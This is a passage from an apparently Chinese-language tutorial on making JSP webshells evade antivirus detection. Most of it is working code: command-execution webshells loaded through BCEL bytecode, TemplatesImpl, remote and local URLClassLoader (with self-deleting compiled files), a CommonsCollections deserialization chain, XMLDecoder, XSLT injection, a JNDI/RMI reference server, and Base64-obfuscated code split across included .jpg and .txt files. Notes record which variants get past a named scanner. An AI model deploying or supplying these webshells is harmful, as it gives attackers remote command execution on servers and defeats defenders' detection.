loader.loadClass("com.demo.Shell");  Object object =  shell.newInstance();  Method dm = shell.getDeclaredMethod("runs",String.class);  response.getWriter().println(dm.invoke(object, cmd));%>

免杀效果：

Apache Commons BCEL被包含在了JDK的原生库中，BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码，但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题，在JDK7以上版本被移除，导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %><%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %><%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %><%  byte[] bytes =  Base64.decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");  String code = Utility.encode(bytes, true);  String bcelCode = "$$BCEL$$" + code;  com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();  Class<?> shell = bcelClassLoader.loadClass(bcelCode);  Object object = shell.newInstance();  Method dm = shell.getDeclaredMethod("runs",String.class);  String cmd = request.getParameter("cmd");  response.getWriter().println(dm.invoke(object, cmd));%>

TemplatesImpl是fastjson反序列化漏洞中常用的对象之一，但是由于在TemplatesImpl触发漏洞点只是调用个无参构造，导致恶意类的类方法无法被调用，只能将恶意代码插入到无参构造方法，或者静态代码块中。

package com.demo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;public class Shell extends AbstractTranslet {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

注意：

这里的类必须继承自AbstractTranslet

<%@ page import="java.util.Base64" %><%@ page import="java.lang.reflect.Field" %><%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %><%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %><%  class Demo {    private void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {      Field field = obj.getClass().getDeclaredField(fieldName);      field.setAccessible(true);      field.set(obj, fieldValue);    }    public Demo(String s) {      try {        byte[] codes = Base64.getDecoder().decode(s);        byte[][] _bytecodes = new byte[][] {                codes,        };        TemplatesImpl templates = new TemplatesImpl();        setFiledValue(templates, "_bytecodes", _bytecodes);        setFiledValue(templates, "_name", "whatever");        setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());        templates.newTransformer();      } catch (Exception e) {        e.printStackTrace();      }    }  }  new Demo("yv66vgAAADQAZgoAEwA/CgBAAEEKAEAAQgoAQwBEBwBFBwBGCgAGAEcKAAUASAgASQoABQBKBwBLCgALAD8KAAsATAoACwBNCABOBwBPCgAQAFAHAFEHAFIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExjb20vZGVtby9TaGVsbDsBAARydW5zAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmlzAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAAFyAQABcwEADVN0YWNrTWFwVGFibGUHAFMHAFQHAFUHAEUBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAVgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBPAQAKU291cmNlRmlsZQEAClNoZWxsLmphdmEMABQAFQcAVwwAWABZDABaAFsHAFQMAFwAXQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAUAF4MABQAXwEAAAwAYABhAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAGIAYwwAZABhAQAEY2FsYwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAGUAFQEADmNvbS9kZW1vL1NoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA9wcmludFN0YWNrVHJhY2UAIQASABMAAAAAAAUAAQAUABUAAQAWAAAALwABAAEAAAAFKrcAAbEAAAACABcAAAAGAAEAAAAOABgAAAAMAAEAAAAFABkAGgAAAAkAGwAcAAIAFgAAAOUABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAMAFwAAACIACAAAABcACAAYAA0AGQAdABoAIQAbACUAHAAvAB0ASAAfABgAAAA+AAYAAABLAB0AHgAAAAgAQwAfACAAAQANAD4AIQAiAAIAHQAuACMAJAADACEAKgAlAB4ABAAlACYAJgAeAAUAJwAAABwAAv8AJQAGBwAoBwApBwAqBwArBwAoBwAoAAAiACwAAAAEAAEAEAABAC0ALgACABYAAAA/AAAAAwAAAAGxAAAAAgAXAAAABgABAAAAJQAYAAAAIAADAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADEAMgACACwAAAAEAAEAMwABAC0ANAACABYAAABJAAAABAAAAAGxAAAAAgAXAAAABgABAAAAKgAYAAAAKgAEAAAAAQAZABoAAAAAAAEALwAwAAEAAAABADUANgACAAAAAQA3ADgAAwAsAAAABAABADMACAA5ABUAAQAWAAAAYQACAAEAAAASuAACEg+2AANXpwAISyq2ABGxAAEAAAAJAAwAEAADABcAAAAWAAUAAAARAAkAFAAMABIADQATABEAFQAYAAAADAABAA0ABAA6ADsAAAAnAAAABwACTAcAPAQAAQA9AAAAAgA+");%>

在这里由于不能调用恶意类的类方法和有参构造，导致无法动态的执行命令，虽然如此但依旧可能利用ASM，javassist这些字节码框架来动态生成恶意类，进行动态的调用命令，在本文先不在探讨如何利用，

利用的方式将会在后期文章中讲解。

URLClassLoader本地加载

URLClassLoader一般有两种利用方式，一种是远程加载class文件，一种是本地加载class文件。

远程加载class文件免杀：

直接利用远程在家class文件的好处是代码量少，特征少。但是由于需要一个外网主机作为服务器，远程可能存在着被溯源的可能性。

<%@ page import="java.net.URL" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.lang.reflect.Method" %><%  String cmd = request.getParameter("cmd");  URL url = new URL(";);  URLClassLoader classLoader = new URLClassLoader(new URL[]{url});  System.out.println("父类加载器：" + classLoader.getParent()); // 默认父类加载器是系统类加载器  Class shell = classLoader.loadClass("com.demo.Shell");  Object object =  shell.newInstance();  Method dm = shell.getDeclaredMethod("runs",String.class);  Object invoke = dm.invoke(object, cmd);  response.getWriter().println(invoke);%>

这里讲解一下服务端如何搭建：

第一步：在一个文件夹中使用python开启一个http服务

python -m http.server

第二步：将编译好的class文件，根据全限定类名创建相应的文件夹，并导入class文件

以上两步即可完成搭建

免杀效果：

JavaCompiler本地class文件免杀：

该免杀方式为先写入一个java马，利用JavaCompiler将其在jvm运行时编译成class文件，及javac动态编译，在利用urlclassloader加载编译好的class文件，为了消除特征以下的base64编码的内容就是之前写好的webshell代码。由于这种方式会创建java，class文件，为了隐蔽性，在这里将删除的文件在进行了删除处理。

<%@ page import="java.net.URL" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.FileWriter" %><%@ page import="java.util.Base64" %><%@ page import="java.io.IOException" %><%@ page import="javax.tools.JavaCompiler" %><%@ page import="javax.tools.ToolProvider" %><%@ page import="java.io.File" %><%  class delete{    public void deleteDir(File directory){      File files[] = directory.listFiles();      for (File file : files) {        if(file.isDirectory()){          deleteDir(file);        }else {          file.delete();        }      }      directory.delete();    }  }  String cmd = request.getParameter("cmd");  String base64Code = "cGFja2FnZSBjb20uZGVtbzsgIGltcG9ydCBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyOyBpbXBvcnQgamF2YS5pby5JT0V4Y2VwdGlvbjsgaW1wb3J0IGphdmEuaW8uSW5wdXRTdHJlYW07IGltcG9ydCBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyOyAgcHVibGljIGNsYXNzIFNoZWxsIHsgICAgIHB1YmxpYyBzdGF0aWMgU3RyaW5nIHJ1bnMoU3RyaW5nIGNtZCkgdGhyb3dzIElPRXhjZXB0aW9uIHsgICAgICAgICBQcm9jZXNzIHByb2Nlc3MgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCk7ICAgICAgICAgSW5wdXRTdHJlYW0gaXMgPSBwcm9jZXNzLmdldElucHV0U3RyZWFtKCk7ICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnVmZmVyZWRSZWFkZXIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKGlzKSk7ICAgICAgICAgU3RyaW5nIHIgPSAiIjsgICAgICAgICBTdHJpbmcgcyA9ICIiOyAgICAgICAgIHdoaWxlKChyID0gYnVmZmVyZWRSZWFkZXIucmVhZExpbmUoKSkhPW51bGwpeyAgICAgICAgICAgICBzICs9IHI7ICAgICAgICAgfSAgICAgICAgIHJldHVybiBzOyAgICAgfSAgfQ==";  FileWriter writer;  try {    writer = new FileWriter(System.getProperty("user.dir")+"\\Shell.java");    writer.write(new String(Base64.getDecoder().decode(base64Code)));    writer.flush();    writer.close();  } catch (IOException e) {    e.printStackTrace();  }  try {    JavaCompiler javac = ToolProvider.getSystemJavaCompiler();    int status = javac.run(null, null, null, "-d", System.getProperty("user.dir"),System.getProperty("user.dir")+"\\Shell.java");    if(status!=0){      response.getWriter().println(System.getProperty("user.dir"));    }    URLClassLoader classLoader = new URLClassLoader(new URL[]{new File(String.valueOf(System.getProperty("user.dir"))).toURI().toURL()});    Class shell = classLoader.loadClass("com.demo.Shell");    Object object = shell.newInstance();    Method dm = shell.getDeclaredMethod("runs",String.class);    Object invoke = dm.invoke(object, cmd);    response.getWriter().println(invoke);    new delete().deleteDir(new File(System.getProperty("user.dir") + "\\com"));    new delete().deleteDir(new File(System.getProperty("user.dir") + "\\Shell.java"));  } catch (Exception e) {    e.printStackTrace();  }%>

免杀效果：

如果大家学过shellcode的免杀，我想都会有一种似曾相识的感觉，没错，这里的字节码类似与shellcode，而类加载器类似于shellcode加载器。本文讲解了最常用的生成字节码的方式，以及利用类加载器加载字节码达到免杀效果。

本章主要讲解，如何利用通用漏洞来进行命令执行，从而达到免杀效果

这种方式就相当于直接触发提供一个反序列化漏洞入口，但是能否被利用，还是在于服务端本身是否存在反序列化漏洞，下面给了一个例子，使用cc1链构建的webshell。

<%@ page import="java.io.*" %><%@ page import="org.apache.commons.collections.Transformer" %><%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %><%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %><%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %><%@ page import="java.util.Map" %><%@ page import="java.util.HashMap" %><%@ page import="org.apache.commons.collections.map.LazyMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.InvocationHandler" %><%@ page import="java.lang.annotation.Retention" %><%@ page import="java.lang.reflect.Proxy" %><%    String cmd = request.getParameter("cmd");    Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),            new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };    Transformer transformerChain = new ChainedTransformer(transformers);    Map innermap = new HashMap();    Map outmap = LazyMap.decorate(innermap, transformerChain);    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);    construct.setAccessible(true);    InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);    handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));    outputStream.writeObject(handler);    outputStream.close();    ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));    inputStream.readObject();%>

免杀效果：

可见由于调用的函数太多，特征也非常明显，这里算是提供一些思路。

想必大家都分析Weblogic的xmlDecoder反序列化漏洞，XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行，并没有太多常见命令函数的特征，免杀效果不错。

<%@ page import="java.beans.XMLDecoder" %><%@ page import="java.io.*" %><%    String cmd = request.getParameter("cmd");    String s = "<object class=\"java.lang.ProcessBuilder\">\n" +            "<array class=\"java.lang.String\" length=\"3\">\n" +            "<void index=\"0\">\n" +            "<string>cmd.exe</string>\n" +            "</void>\n" +            "<void index=\"1\">\n" +            "<string>/c</string>\n" +            "</void>\n" +            "<void index=\"2\">\n" +            "<string>"+cmd+"</string>\n" +            "</void>\n" +            "</array>\n" +            "<void method=\"start\" />\n" +            "</object>\n";    XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));    ProcessBuilder process = (ProcessBuilder) xd.readObject();    InputStream is = process.start().getInputStream();    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));    String r = null;    while((r = bufferedReader.readLine())!=null){        response.getWriter().println(r);    }%>

其实就是利用XSLT注入来执行命令，但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显，因为XSLT貌似只能执行静态方法且返回值都是以String类型返回，导致process中的数据很难取出来。

<%@ page import="java.io.*" %><%@ page import="javax.xml.transform.Transformer" %><%@ page import="javax.xml.transform.stream.StreamResult" %><%@ page import="javax.xml.transform.TransformerFactory" %><%@ page import="javax.xml.transform.stream.StreamSource" %><%    String cmd = request.getParameter("cmd");    String s = "  <xsl:stylesheet version=\"1.0\" " +            "xmlns:xsl=\"\" " +            "xmlns:rt=\"java.lang.Runtime\"> " +            "    <xsl:template match=\"/\">\n" +            "      <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" +            "      <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'"+cmd+"')\"/>\n" +            "      <xsl:variable name=\"ddd\" select=\"$process\"/>\n" +            "      <xsl:value-of select=\"$ddd\"/>\n" +            "    </xsl:template>\n" +            "  </xsl:stylesheet>";    InputStream in = new ByteArrayInputStream(s.getBytes());    StreamResult result = new StreamResult(new ByteArrayOutputStream());    Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));    t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);%>

攻击者：

package com.demo;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Demo2 {    public static void main(String[] args) throws Exception {        try {            Registry registry = LocateRegistry.createRegistry(1099);            Reference aa = new Reference("Calc", "Calc", ";);            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);            registry.bind("hello", refObjWrapper);        } catch (Exception e) {            e.printStackTrace();        }    }}

恶意类：

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class Calc implements ObjectFactory {    public Calc() {        try {            Runtime.getRuntime().exec("calc");        } catch (Exception e) {        }    }    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        System.out.println(nameCtx);        //Runtime.getRuntime().exec("calc");        return null;    }}

webshell：

<%@ page import="javax.naming.Context" %><%@ page import="javax.naming.InitialContext" %><%@ page language="java" pageEncoding="UTF-8" %><%    try {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        String uri = "rmi://127.0.0.1:1099/hello";        Context ctx = new InitialContext();        ctx.lookup(uri);    } catch (Exception e) {        e.printStackTrace();    }%>

本章主要是通过自己创造漏洞来执行命令，而我们用到的这些函数其实也是业务中比较常见的函数，且如果不了解漏洞原理，也不好分析是否是webshell

本章只要将之前没讲的一些免杀反射进行补充

<%@ page import="java.io.InputStream" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@page language="java" pageEncoding="utf-8" %><%@ include file = "1.jpg" %>

1.jpg

<%    String cmd = request.getParameter("cmd");    Process process = Runtime.getRuntime().exec(cmd);    InputStream is = process.getInputStream();    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));    String r = null;    while((r = bufferedReader.readLine())!=null){        response.getWriter().println(r);    }%>

免杀效果：

可以看到某盾会查杀jpg文件，这样的话，我们就在分解成多个部分

这里我们分成两部分进行包含

发现依旧绕不过，其实原因就是杀软的匹配规则，有的是单一匹配，有的是同时匹配，因此我们换一个之前不免杀的webshell（由于两处及以上特征存在导致被查杀）

正常运行

某盾不在查杀

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.io.*" %><%@ page import="java.util.Base64" %><%@ page language="java" pageEncoding="UTF-8" %><%@ include file = "1.jpg" %><%@ include file = "2.txt" %>

1.jpg

<%           String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));        Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));        Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));        Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);        Object object = method.invoke(runtimeMethod.invoke(null),cmd);        Process process = (Process) object;%>

2.txt

<%    InputStream is = process.getInputStream();    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));    String r = null;    while((r = bufferedReader.readLine())!=null){        response.getWriter().println(r);    }%>

java的免杀只要就是在于如何利用字节码，jsp特性，创建漏洞，少见的API等方式去绕过杀软的正则表达式，一般的杀软为了降低误报率，其实规则写的并不苛刻，还是比较好绕过了，多种免杀一起使用可以达到比较好的效果，其实学免杀，并不是盲目去测试，而且要了解更多的语言特性，就相当于游戏规则，当你足够了解游戏规则，再去测试杀软的规则，才能游刃有余。从才开始的php到现在的jsp，免杀系列已经写了10来篇了，weshell免杀就此先告一段落，后面如果有新的知识点也会继续补充，感谢大家。

原文链接：